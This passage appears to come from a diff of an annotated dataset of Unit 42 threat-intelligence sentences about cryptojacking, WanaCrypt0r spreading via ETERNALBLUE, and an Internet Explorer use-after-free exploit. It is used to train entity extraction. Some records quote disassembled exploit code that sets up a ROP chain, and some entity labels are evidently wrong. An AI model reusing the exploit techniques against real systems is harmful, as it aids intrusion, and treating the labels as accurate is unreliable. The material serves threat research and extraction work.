Bitcoin.","entities":[{"id":48011,"label":"SOFTWARE","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]} +{"id":2786,"text":" This new kind of attack tells us that at least some cybercriminals are starting to view theft of victim’s computing power to translate into cryptocurrencies as a better business proposition than the traditional practice of loading malware on the victim’s system through drive-by downloads.","entities":[],"relations":[],"Comments":[]} +{"id":2787,"text":" And our research shows that this isn’t an isolated event.","entities":[],"relations":[],"Comments":[]} +{"id":2788,"text":"Our researchers analyzed over 1,000 of sites and what they found was very telling.","entities":[],"relations":[],"Comments":[]} +{"id":2789,"text":" The good news is that these attacks are more like denial of service attacks: they don’t do lasting harm to your system and they end when you leave the site. The bad news is that these are harder to defend against than typical drive-by download attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2790,"text":"Where drive-by download attacks usually exploit unpatched vulnerabilities, the root of these attacks is that they abuse otherwise legitimate functionality: you can’t prevent them by being fully patched.","entities":[],"relations":[],"Comments":[]} +{"id":2791,"text":" Security products that take a comprehensive, layered approach can help prevent these attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2792,"text":"And if you think your system is being affected by one of these attacks, you can, in most cases, end the attack by either leaving the site or closing the browser.","entities":[],"relations":[],"Comments":[]} +{"id":2793,"text":"Most of all, this latest development shows how a changing economic landscape in turn changes the cybercrime landscape.","entities":[],"relations":[],"Comments":[]} +{"id":2794,"text":"Loading malware through drive-by downloads is so 2012: in 2017 it’s about drive-by mining attacks to earn cryptocurrencies.","entities":[{"id":48012,"label":"TIME","start_offset":49,"end_offset":53},{"id":48013,"label":"TIME","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2795,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2796,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2797,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2798,"text":"This post is also available in: 日本語 (Japanese) This Unit 42 blog provides an update on the threat situation surrounding the WanaCrypt0r ransomware attacks and how the attack propagates.","entities":[{"id":48014,"label":"identity","start_offset":58,"end_offset":65},{"id":48015,"label":"malware","start_offset":130,"end_offset":141}],"relations":[],"Comments":[]} +{"id":2799,"text":" Initial reports said that the WanaCrypt0r attack began as part of a spam\/phishing campaign.","entities":[{"id":45697,"label":"malware","start_offset":31,"end_offset":42},{"id":45698,"label":"campaign","start_offset":69,"end_offset":91}],"relations":[],"Comments":[]} +{"id":2800,"text":"Unit 42 and other researchers have concluded that these reports are not substantiated.","entities":[{"id":48016,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":2801,"text":"While the initial attack vector for these attacks is unknown, it is certain that the spread of the ransomware occurs through active exploitation of the ETERNALBLUE vulnerability (CVE-2017-0144) in Microsoft Windows.","entities":[{"id":48017,"label":"vulnerability","start_offset":179,"end_offset":192},{"id":48018,"label":"SOFTWARE","start_offset":197,"end_offset":214},{"id":8563,"label":"vulnerability","start_offset":152,"end_offset":163}],"relations":[{"id":371,"from_id":48018,"to_id":48017,"type":"has"},{"id":373,"from_id":8563,"to_id":48017,"type":"related-to"}],"Comments":[]} +{"id":2802,"text":"Patches for this vulnerability for all supported versions of Windows have been available since March 2017.","entities":[{"id":45699,"label":"TIME","start_offset":95,"end_offset":105},{"id":45700,"label":"SOFTWARE","start_offset":61,"end_offset":68}],"relations":[],"Comments":[]} +{"id":2803,"text":"On Friday May 12, 2017, Microsoft took the extraordinary step of releasing patches for out-of-support versions of Windows to help protect against these attacks.","entities":[{"id":48019,"label":"TIME","start_offset":10,"end_offset":22},{"id":48020,"label":"identity","start_offset":24,"end_offset":33},{"id":48021,"label":"SOFTWARE","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]} +{"id":2804,"text":" As the attack leverages this Microsoft vulnerability, the most appropriate first step to take against the attack is to apply the patches.","entities":[{"id":48022,"label":"identity","start_offset":30,"end_offset":39}],"relations":[],"Comments":[]} +{"id":2805,"text":"Unit 42 researchers have confirmed that the patch is effective against the WanaCrypt0r Ransomware attacks.","entities":[{"id":45701,"label":"identity","start_offset":0,"end_offset":7},{"id":45702,"label":"malware","start_offset":75,"end_offset":86}],"relations":[],"Comments":[]} +{"id":2806,"text":" In addition, Palo Alto Networks, and other vendors, including our fellow members of the Cyber Threat Alliance, have released additional protections that help prevent the spread of the WanaCrypt0r ransomware.","entities":[{"id":48025,"label":"malware","start_offset":185,"end_offset":196},{"id":48023,"label":"identity","start_offset":14,"end_offset":32},{"id":48024,"label":"identity","start_offset":89,"end_offset":110}],"relations":[],"Comments":[]} +{"id":2807,"text":"For information on Palo Alto Networks protections, please see our posting Palo Alto Networks Protections Against WanaCrypt0r Ransomware Attacks.","entities":[{"id":48027,"label":"identity","start_offset":74,"end_offset":92},{"id":48026,"label":"identity","start_offset":19,"end_offset":37},{"id":8580,"label":"malware","start_offset":113,"end_offset":124}],"relations":[],"Comments":[]} +{"id":2808,"text":"As with all ransomware attacks, Palo Alto Networks and Unit 42 recommends that anyone affected NOT pay the ransom.","entities":[{"id":45703,"label":"identity","start_offset":32,"end_offset":50},{"id":45704,"label":"identity","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2809,"text":"Unit 42 is not aware of any reports where paying the ransom to the WanaCrypt0r attackers has resulted in the recovery of data.","entities":[{"id":48028,"label":"identity","start_offset":0,"end_offset":7},{"id":8587,"label":"malware","start_offset":67,"end_offset":78}],"relations":[],"Comments":[]} +{"id":2810,"text":"In addition, Unit 42 research has shown that very few have attempted to pay the ransom.","entities":[{"id":48029,"label":"identity","start_offset":13,"end_offset":20}],"relations":[],"Comments":[]} +{"id":2811,"text":" Unit 42 is following this situation very closely and will update this blog with any new information as it becomes available.","entities":[{"id":45705,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} +{"id":2812,"text":" WanaCrypt0r is a global ransomware attack that emerged on Friday, May 12, 2017.","entities":[{"id":48030,"label":"malware","start_offset":1,"end_offset":12},{"id":48031,"label":"TIME","start_offset":59,"end_offset":79}],"relations":[],"Comments":[]} +{"id":2813,"text":"It immediately gained broad media attention, due to its destructive nature, how widespread it was, and multiple high profile victims.","entities":[],"relations":[],"Comments":[]} +{"id":2814,"text":"This attack uses the version 2.0 of this ransomware.","entities":[],"relations":[],"Comments":[]} +{"id":2815,"text":"WanaCrypt0r v 1.0 was first reported a few months ago but did not include the worm capability associated with this attack.","entities":[{"id":48032,"label":"malware","start_offset":0,"end_offset":17}],"relations":[],"Comments":[]} +{"id":2816,"text":" Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017.","entities":[{"id":48034,"label":"SOFTWARE","start_offset":130,"end_offset":147},{"id":48035,"label":"TIME","start_offset":272,"end_offset":286},{"id":48033,"label":"vulnerability","start_offset":112,"end_offset":125},{"id":8600,"label":"vulnerability","start_offset":161,"end_offset":172},{"id":8601,"label":"threat-actor","start_offset":207,"end_offset":221},{"id":8602,"label":"threat-actor","start_offset":230,"end_offset":248}],"relations":[{"id":377,"from_id":48034,"to_id":48033,"type":"has"},{"id":378,"from_id":8600,"to_id":48033,"type":"related-to"},{"id":379,"from_id":8600,"to_id":8601,"type":"related-to"}],"Comments":[]} +{"id":2817,"text":"Microsoft patched this vulnerability as part of the March 2017 Monthly Security Update Release by Microsoft Security Bulletin MS17-010.","entities":[{"id":45706,"label":"identity","start_offset":0,"end_offset":9},{"id":45708,"label":"identity","start_offset":98,"end_offset":107},{"id":45707,"label":"TIME","start_offset":52,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2818,"text":"This is a SYSTEM-level remote code execution (RCE) in the handling of the Server Message Block (SMB) protocol in Microsoft Windows.","entities":[{"id":48036,"label":"attack-pattern","start_offset":23,"end_offset":50},{"id":48037,"label":"SOFTWARE","start_offset":74,"end_offset":100},{"id":48038,"label":"SOFTWARE","start_offset":113,"end_offset":130}],"relations":[],"Comments":[]} +{"id":2819,"text":" The attack uses this vulnerability to spread the WanaCrypt0r ransomware on the network.","entities":[{"id":8612,"label":"malware","start_offset":50,"end_offset":61}],"relations":[],"Comments":[]} +{"id":2820,"text":"This is a classic network worm-class vulnerability like MS-Blaster and Conficker.","entities":[{"id":45709,"label":"vulnerability","start_offset":56,"end_offset":66},{"id":45710,"label":"vulnerability","start_offset":71,"end_offset":80}],"relations":[],"Comments":[]} +{"id":2821,"text":" Early reports indicated that the initial attack vector was via spam and\/or phishing email.","entities":[{"id":48039,"label":"attack-pattern","start_offset":64,"end_offset":90}],"relations":[],"Comments":[]} +{"id":2822,"text":"However, this has not been confirmed and is unlikely to account for the global spread of the malware.","entities":[],"relations":[],"Comments":[]} +{"id":2823,"text":" When the WanaCrypt0r ransomware executes successfully, it will encrypt key files on the system and display a ransom note as shown below (SOURCE: Microsoft).","entities":[{"id":45712,"label":"identity","start_offset":146,"end_offset":155},{"id":45711,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2824,"text":"Figure 1 Ransom note for WanaCrypt0r ","entities":[{"id":8627,"label":"tools","start_offset":25,"end_offset":36}],"relations":[],"Comments":[]} +{"id":2825,"text":"One thing reports have indicated that make this attack unique is a “killswitch” capability built into the malware.","entities":[],"relations":[],"Comments":[]} +{"id":2826,"text":"This “killswitch” will prevent the WanaCrypt0r ransomware from executing.","entities":[{"id":45713,"label":"malware","start_offset":35,"end_offset":46}],"relations":[],"Comments":[]} +{"id":2827,"text":"The “killswitch” is code which will attempt to connect to an extremely long domain that should not resolve.","entities":[],"relations":[],"Comments":[]} +{"id":2828,"text":"The initial variant of WanaCrypt0r uses hxxp:\/\/iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com, however, there are reports of newer variants using different domains.","entities":[{"id":48040,"label":"URL","start_offset":40,"end_offset":94},{"id":8633,"label":"malware","start_offset":23,"end_offset":34}],"relations":[],"Comments":[]} +{"id":2829,"text":"If it was successful in connecting to the domain, the ransomware would not execute.","entities":[],"relations":[],"Comments":[]} +{"id":2830,"text":"However, it was easily subverted to work against the malware.","entities":[],"relations":[],"Comments":[]} +{"id":2831,"text":"A security researcher in the United Kingdom initially registered this domain in order to track this threat, and soon discovered that in doing so, he had enabled this “killswitch”, causing a number of instances of WanaCrypt0r to not execute for a large number of infected systems.","entities":[{"id":48041,"label":"location","start_offset":29,"end_offset":43},{"id":48042,"label":"malware","start_offset":213,"end_offset":224}],"relations":[],"Comments":[]} +{"id":2832,"text":" On Friday, May 12, 2017, Microsoft announced that they were making an emergency patch available for out-of-support versions of Windows (Windows XP, Windows 8 and Windows Server 2003). ","entities":[{"id":45717,"label":"SOFTWARE","start_offset":128,"end_offset":135},{"id":45714,"label":"TIME","start_offset":4,"end_offset":24},{"id":45716,"label":"identity","start_offset":26,"end_offset":35},{"id":45718,"label":"SOFTWARE","start_offset":137,"end_offset":147},{"id":45719,"label":"SOFTWARE","start_offset":149,"end_offset":158},{"id":45720,"label":"SOFTWARE","start_offset":163,"end_offset":182}],"relations":[],"Comments":[]} +{"id":2833,"text":"As of this writing attacks appear to have subsided.","entities":[],"relations":[],"Comments":[]} +{"id":2834,"text":"This is likely due to increased uptake of the patch MS17-010 in light of the WanaCrypt0r attacks, as well as efforts made within the security community.","entities":[{"id":48043,"label":"malware","start_offset":77,"end_offset":88}],"relations":[],"Comments":[]} +{"id":2835,"text":" Unit 42 research shows there is likely very little actual payment of ransom.","entities":[{"id":48044,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} +{"id":2836,"text":"We analyzed our known WanaCrypt0r samples and extract the following Bitcoin (BTC) addresses likely associated with the attackers and associated totals: This results in a total of 36 BTC, or roughly $63k based on the current price of BTC.","entities":[{"id":48045,"label":"identity","start_offset":22,"end_offset":33},{"id":48046,"label":"SOFTWARE","start_offset":68,"end_offset":81}],"relations":[],"Comments":[]} +{"id":2837,"text":"Given that WanaCrypt0r requests $300 per infected machine, we can infer that approximately 210 victims have made payments to the attackers.","entities":[{"id":48047,"label":"malware","start_offset":11,"end_offset":22}],"relations":[],"Comments":[]} +{"id":2838,"text":" Reconnaissance This attack does not appear to be targeted.","entities":[],"relations":[],"Comments":[]} +{"id":2839,"text":"Therefore, there appears to be little recon as part of this attack.","entities":[],"relations":[],"Comments":[]} +{"id":2840,"text":"There are some reports that there may be scanning of TCP port 445, which is one of the ports associated with SMB.","entities":[],"relations":[],"Comments":[]} +{"id":2841,"text":"But these reports haven’t been conclusively verified.","entities":[],"relations":[],"Comments":[]} +{"id":2842,"text":" There is no consensus in the industry on what the delivery method\/initial infection vector is.","entities":[],"relations":[],"Comments":[]} +{"id":2843,"text":"There have been several theories: Unit 42 believes the most likely delivery method is method #2.","entities":[{"id":48048,"label":"identity","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]} +{"id":2844,"text":"However, this is not conclusively provenLateral Movement","entities":[{"id":45722,"label":"attack-pattern","start_offset":40,"end_offset":56}],"relations":[],"Comments":[]} +{"id":2845,"text":" The WanaCrypt0r ransomware spreads itself by heavily scanning over TCP port 445 (associated with SMB) and attempting to exploit the ETERNALBLUE vulnerability on systems.","entities":[{"id":48049,"label":"malware","start_offset":5,"end_offset":16},{"id":8683,"label":"vulnerability","start_offset":133,"end_offset":144}],"relations":[{"id":381,"from_id":48049,"to_id":8683,"type":"exploits"}],"Comments":[]} +{"id":2846,"text":"A successful attack against this vulnerability will infect the target system with the WanaCrypt0r ransomware, which will encrypt data on the target system and attempt to spread itself once again.","entities":[{"id":48050,"label":"malware","start_offset":86,"end_offset":97}],"relations":[],"Comments":[]} +{"id":2847,"text":"Multiple vendors report that the malware includes the ability to spread via port 445 scans and attacks against the ETERNALBLUE vulnerability not only on internal networks but also across the Internet.","entities":[{"id":45723,"label":"vulnerability","start_offset":115,"end_offset":126}],"relations":[],"Comments":[]} +{"id":2848,"text":"These reports indicate that in addition to the internal lateral movement already outlined, the WanaCrypt0r ransomware will scan for port 445 on random external IP addresses and if it finds an IP address with an open port 445, it will then scan all devices on the same \/24 IP range (i.e. that share the first three octets as that IP address with the open port 445). In general, WanaCrypt0r does not have C2 capabilities but it does utilize the TOR network to communicate encryption keys for decryption upon payment of ransom.","entities":[{"id":48051,"label":"malware","start_offset":95,"end_offset":106},{"id":48053,"label":"tools","start_offset":444,"end_offset":447},{"id":48052,"label":"malware","start_offset":378,"end_offset":389}],"relations":[],"Comments":[]} +{"id":2849,"text":"It has been reported that the DOUBLEPULSAR backdoor (also from the Equation Group leak by Shadow Brokers) is installed and used to execute the malware after successful exploitation of a host via ETERNALBLUE, but this warrants further analysis.","entities":[{"id":48054,"label":"threat-actor","start_offset":67,"end_offset":81},{"id":8706,"label":"threat-actor","start_offset":90,"end_offset":104},{"id":8709,"label":"vulnerability","start_offset":195,"end_offset":206},{"id":8704,"label":"vulnerability","start_offset":30,"end_offset":42}],"relations":[{"id":383,"from_id":48054,"to_id":8709,"type":"exploits"},{"id":382,"from_id":48054,"to_id":8704,"type":"exploits"}],"Comments":[]} +{"id":2850,"text":" Overall, WanaCrypt0r has been a notable incident within the security community, as the threat couples a wormable vulnerability\/exploit with a ransomware family.","entities":[{"id":45724,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2851,"text":"Users are urged to apply the necessary Microsoft patch to protect themselves against this threat.","entities":[{"id":48055,"label":"identity","start_offset":39,"end_offset":48}],"relations":[],"Comments":[]} +{"id":2852,"text":" For protections, customers are advised to view this blog post that outlines the various ways the Palo Alto Networks platform prevents this threat. Cyber Threat Alliance member ElevenPaths has developed a tool which can be used to attempt to recover some files deleted by WanaCrypt0r.","entities":[{"id":48059,"label":"identity","start_offset":178,"end_offset":189},{"id":48058,"label":"identity","start_offset":149,"end_offset":170},{"id":48057,"label":"identity","start_offset":98,"end_offset":116},{"id":48056,"label":"malware","start_offset":273,"end_offset":284}],"relations":[],"Comments":[]} +{"id":2853,"text":"You can find more information on this tool here.","entities":[],"relations":[],"Comments":[]} +{"id":2854,"text":"Register for Ignite ’17 Security Conference Vancouver, BC June 12–15, 2017 ","entities":[{"id":48060,"label":"location","start_offset":45,"end_offset":58},{"id":48061,"label":"TIME","start_offset":59,"end_offset":75}],"relations":[],"Comments":[]} +{"id":2855,"text":"Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.","entities":[],"relations":[],"Comments":[]} +{"id":2856,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]} +{"id":2857,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]} +{"id":2858,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2859,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2860,"text":"The latest episode of the Don’t Panic cybersecurity podcast is now live.","entities":[],"relations":[],"Comments":[]} +{"id":2861,"text":" In this latest episode, Ryan goes back to the topic he talked about in his 2018 predictions piece “The Era of Software Supply-Chain Attacks Has Begun”: Software Supply Chain attacks. ","entities":[{"id":48062,"label":"identity","start_offset":25,"end_offset":29},{"id":48063,"label":"TIME","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]} +{"id":2862,"text":"As a reminder, “Don’t Panic,” is the official podcast of Unit 42, the Palo Alto Network threat intelligence team and features Palo Alto Networks CSO Rick Howard and Palo Alto Networks Senior Vice President, Threat Intelligence Ryan Olson. You can find this episode and other Palo Alto Networks podcasts on iTunes, Google Play, or integrate the RSS feed into your favorite service.","entities":[{"id":45725,"label":"identity","start_offset":57,"end_offset":64},{"id":45729,"label":"identity","start_offset":165,"end_offset":183},{"id":45726,"label":"identity","start_offset":70,"end_offset":112},{"id":45727,"label":"identity","start_offset":126,"end_offset":148},{"id":45728,"label":"identity","start_offset":149,"end_offset":160},{"id":45731,"label":"identity","start_offset":227,"end_offset":237},{"id":45732,"label":"identity","start_offset":275,"end_offset":294},{"id":45733,"label":"SOFTWARE","start_offset":307,"end_offset":313},{"id":45734,"label":"SOFTWARE","start_offset":315,"end_offset":326},{"id":45735,"label":"SOFTWARE","start_offset":345,"end_offset":348}],"relations":[],"Comments":[]} +{"id":2863,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2864,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2865,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2866,"text":"Late last month reports surfaced that a new Internet Explorer vulnerability (CVE-2014-1776) was being exploited in targeted attacks.","entities":[{"id":48064,"label":"SOFTWARE","start_offset":44,"end_offset":62},{"id":48065,"label":"vulnerability","start_offset":77,"end_offset":90}],"relations":[{"id":384,"from_id":48064,"to_id":48065,"type":"has"}],"Comments":[]} +{"id":2867,"text":"The vulnerability allows an attacker to take full control over the system after a user views a web page in their browser.","entities":[],"relations":[],"Comments":[]} +{"id":2868,"text":"According to Microsoft, it affects versions of Internet Explorer from version 6 to 11, meaning that almost all IE users are vulnerable to this bug.","entities":[{"id":48066,"label":"SOFTWARE","start_offset":47,"end_offset":64},{"id":45736,"label":"identity","start_offset":13,"end_offset":22},{"id":45738,"label":"SOFTWARE","start_offset":111,"end_offset":113}],"relations":[],"Comments":[]} +{"id":2869,"text":"This vulnerability is so widespread that Microsoft has released patches to protect Windows XP, for which Microsoft has ended support since April 8, 2014.","entities":[{"id":48068,"label":"SOFTWARE","start_offset":83,"end_offset":93},{"id":48070,"label":"TIME","start_offset":139,"end_offset":152},{"id":48067,"label":"identity","start_offset":41,"end_offset":50},{"id":48069,"label":"identity","start_offset":105,"end_offset":114}],"relations":[],"Comments":[]} +{"id":2870,"text":" Researchers from Palo Alto Networks have investigated this exploit in depth and concluded that this is a Use-After-Free vulnerability that occurs when Internet Explorer tries to reuse a freed CMarkup object.","entities":[{"id":48072,"label":"SOFTWARE","start_offset":152,"end_offset":169},{"id":48071,"label":"identity","start_offset":18,"end_offset":36}],"relations":[],"Comments":[]} +{"id":2871,"text":"Attackers can manipulate memory allocations by using JavaScript to allocate an object that is freed before all references to that object are removed.","entities":[],"relations":[],"Comments":[]} +{"id":2872,"text":"Once the object is free the Flash file will overwrite a length field in the vector object and allow arbitrary memory access.","entities":[{"id":48073,"label":"SOFTWARE","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]} +{"id":2873,"text":"After that the exploit uses a ROP chain to overwrite the virtual function table of a sound object to gain full control.","entities":[],"relations":[],"Comments":[]} +{"id":2874,"text":"The exploit utilized several advanced exploit techniques to make it almost 100% reliable.","entities":[],"relations":[],"Comments":[]} +{"id":2875,"text":"The exploit used in the wild contains two major parts, one is HTML which sets up the page to exploit, and the other is a Flash file which builds the memory layout in IE process and triggers the bug.","entities":[{"id":48074,"label":"SOFTWARE","start_offset":166,"end_offset":168},{"id":48075,"label":"SOFTWARE","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]} +{"id":2876,"text":"Two parts must be combined to ensure a successful attack.","entities":[],"relations":[],"Comments":[]} +{"id":2877,"text":"The attack separated critical code into different pieces so that researchers could not reproduce the original exploit until they have both files.","entities":[],"relations":[],"Comments":[]} +{"id":2878,"text":" The techniques used in this exploit are similar to those used in other recent attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2879,"text":"Last year, exploitation of CVE-2013-3163 targeted Internet Explorer 8 and earlier this year, we found exploitation of CVE-2014-0322 in Internet Explorer 10.","entities":[{"id":48076,"label":"vulnerability","start_offset":27,"end_offset":40},{"id":48077,"label":"SOFTWARE","start_offset":50,"end_offset":69},{"id":48079,"label":"SOFTWARE","start_offset":135,"end_offset":155},{"id":48078,"label":"vulnerability","start_offset":118,"end_offset":131}],"relations":[{"id":385,"from_id":48077,"to_id":48076,"type":"has"},{"id":386,"from_id":48079,"to_id":48078,"type":"has"}],"Comments":[]} +{"id":2880,"text":"Similarities in each of these exploits indicate that they may have been created by the same author.","entities":[],"relations":[],"Comments":[]} +{"id":2881,"text":"All three exploits share the same exploit techniques: All the Flash files used across the exploits have similar structures and even the same variable names.","entities":[{"id":48080,"label":"SOFTWARE","start_offset":63,"end_offset":68}],"relations":[],"Comments":[]} +{"id":2882,"text":"For example, they all use the Timer object to check if a Vector object is modified.","entities":[],"relations":[],"Comments":[]} +{"id":2883,"text":"The Timers are all set to repeat every one second for 4,096 seconds.","entities":[{"id":8814,"label":"TIME","start_offset":33,"end_offset":49},{"id":8815,"label":"TIME","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]} +{"id":2884,"text":"The Vector object is named ‘s’ and the Sound object is named “ss” in the Flash files used in all three exploits.","entities":[{"id":48081,"label":"SOFTWARE","start_offset":73,"end_offset":78}],"relations":[],"Comments":[]} +{"id":2885,"text":"The following code is snippet from the disassembled ActionScript code of CVE-2014-1776.","entities":[{"id":48082,"label":"vulnerability","start_offset":73,"end_offset":86}],"relations":[],"Comments":[]} +{"id":2886,"text":" Neither of these variables is actually used in this exploit.","entities":[],"relations":[],"Comments":[]} +{"id":2887,"text":"If we go back and examine the exploit code for CVE-2013-3163, we see that the string ‘org’ was originally used as the trigger, and the variable ‘found’ was originally used as a flag indicating if the Vector object was modified.","entities":[{"id":48083,"label":"vulnerability","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]} +{"id":2888,"text":"It appears that the attacker reused the code from the earlier exploit and forgot to remove the unnecessary variables.","entities":[],"relations":[],"Comments":[]} +{"id":2889,"text":"s[_local28][(((_local41 - _local12) \/ 4) + 9)] = _local9; s[_local28][(((_local41 - _local12) \/ 4) + 10)]","entities":[],"relations":[],"Comments":[]} +{"id":2890,"text":"= 13078672;","entities":[],"relations":[],"Comments":[]} +{"id":2891,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 11)]","entities":[],"relations":[],"Comments":[]} +{"id":2892,"text":"= _","entities":[],"relations":[],"Comments":[]} +{"id":2893,"text":"local7","entities":[],"relations":[],"Comments":[]} +{"id":2894,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 12)]","entities":[],"relations":[],"Comments":[]} +{"id":2895,"text":"= 3096481936;","entities":[],"relations":[],"Comments":[]} +{"id":2896,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 13)]","entities":[],"relations":[],"Comments":[]} +{"id":2897,"text":"= (this.m_longArrBase - 8);","entities":[],"relations":[],"Comments":[]} +{"id":2898,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 14)]","entities":[],"relations":[],"Comments":[]} +{"id":2899,"text":"= 13078672;","entities":[],"relations":[],"Comments":[]} +{"id":2900,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 15)]","entities":[],"relations":[],"Comments":[]} +{"id":2901,"text":"= this.m_rawLen;","entities":[],"relations":[],"Comments":[]} +{"id":2902,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 16)]","entities":[],"relations":[],"Comments":[]} +{"id":2903,"text":"= 3968066955;","entities":[],"relations":[],"Comments":[]} +{"id":2904,"text":" s[_local28][(((_local41 - _local12) \/ 4) + 17)]","entities":[],"relations":[],"Comments":[]} +{"id":2905,"text":"= 753635372;","entities":[],"relations":[],"Comments":[]} +{"id":2906,"text":" The exploit uses the code above to restore the corrupted object and save the stack frame on the heap so that the process would not crash after the exploit is successful.","entities":[],"relations":[],"Comments":[]} +{"id":2907,"text":"All three exploits use the same method and similar addresses to achieve that goal, even including the same hard coded assembly and registers.","entities":[],"relations":[],"Comments":[]} +{"id":2908,"text":"_local10 = this.m_ZwProtectAddr; _local41 = _local6; s[_local28][((((_local6 - _local12) \/ 4) - 2) - 4)] = (_local41 & 0xFFFFF000); s[_local28][((((_local6 - _local12) \/ 4) - 1) - 4)] = 0x3000; s[_local28][((_local6 - _local12) \/ 4)] = _local10; s[_local28][(((_local6 - _local12) \/ 4) + 1)] = (_local41 + 28); The code above shows the Flash code setting up the ROP chain to bypass DEP and includes another interesting marker.","entities":[{"id":48084,"label":"SOFTWARE","start_offset":342,"end_offset":347}],"relations":[],"Comments":[]} +{"id":2909,"text":"Normally programmers begin counting at 0 when referencing arrays, but in all three exploits they began at -2, which is quite unusual.","entities":[],"relations":[],"Comments":[]} +{"id":2910,"text":"Additionally, each sample uses a Sound object named ‘snd’ to gain control, and they all invoke the function toString(). ","entities":[],"relations":[],"Comments":[]} +{"id":2911,"text":"The many similarities between these exploits lead us to believe they were written by the same actor or group.","entities":[],"relations":[],"Comments":[]} +{"id":2912,"text":"Or at the very least, a common template has been used to craft exploits for the three Internet Explorer vulnerabilities we analyzed.","entities":[{"id":48085,"label":"SOFTWARE","start_offset":86,"end_offset":103}],"relations":[],"Comments":[]} +{"id":2913,"text":"This re-use of techniques is common among exploits, even if they were not developed by the same group, and Palo Alto Networks employs a unique payload-based signature detection methodology, which is able to look at the behaviors of an exploit to prevent similar attacks in the future.","entities":[{"id":45740,"label":"identity","start_offset":107,"end_offset":125}],"relations":[],"Comments":[]} +{"id":2914,"text":" Palo Alto Networks customers with a Threat Prevention subscription were automatically protected from exploitation of these vulnerabilities: We suggest customers ensure they are running the latest content version on their devices and apply the patches Microsoft released on May 1, 2014. Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":48086,"label":"identity","start_offset":1,"end_offset":19},{"id":48087,"label":"identity","start_offset":253,"end_offset":262},{"id":48088,"label":"TIME","start_offset":275,"end_offset":286}],"relations":[],"Comments":[]} +{"id":2915,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2916,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2917,"text":"In October 2017, Palo Alto Networks Unit 42 published research showing how attackers were adapting attack techniques to generate cryptocurrency for themselves.","entities":[{"id":48089,"label":"TIME","start_offset":3,"end_offset":15},{"id":48090,"label":"identity","start_offset":17,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2918,"text":"In that research, we also showed how these attacks were very broad and grew very quickly.","entities":[],"relations":[],"Comments":[]} +{"id":2919,"text":" At the time, we said that the sudden, surging value of cryptocurrencies was likely behind the sudden, strong rise of these new attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2920,"text":"We said that if cryptocurrency values continue to remain high, we could expect to see attackers continue to focus on finding ways to carry out attacks to gain cryptocurrency, and that those attacks would continue to adapt proven attack techniques.","entities":[],"relations":[],"Comments":[]} {"id":2921,"text":" Unit 42 has just released new research showing that attackers are indeed continuing to adapt existing techniques to generate cryptocurrency.","entities":[{"id":48091,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} {"id":2922,"text":" In our research posting “Large Scale Monero Cryptocurrency Mining Operation using XMRig” we detail a new malware campaign that is global in scale, very large in the likely number of victims and uses well established techniques to mine the Monero cryptocurrency.","entities":[{"id":48092,"label":"SOFTWARE","start_offset":38,"end_offset":44},{"id":48094,"label":"SOFTWARE","start_offset":240,"end_offset":246},{"id":48093,"label":"tools","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]} {"id":2923,"text":" Monero is a cryptocurrency similar to bitcoin but notable for its increased emphasis on providing a higher level of privacy around its transactions.","entities":[{"id":48095,"label":"SOFTWARE","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]} @@ -416,7 +2396,6 @@ {"id":3336,"text":"The main script used to manipulate traffic with WinDivert 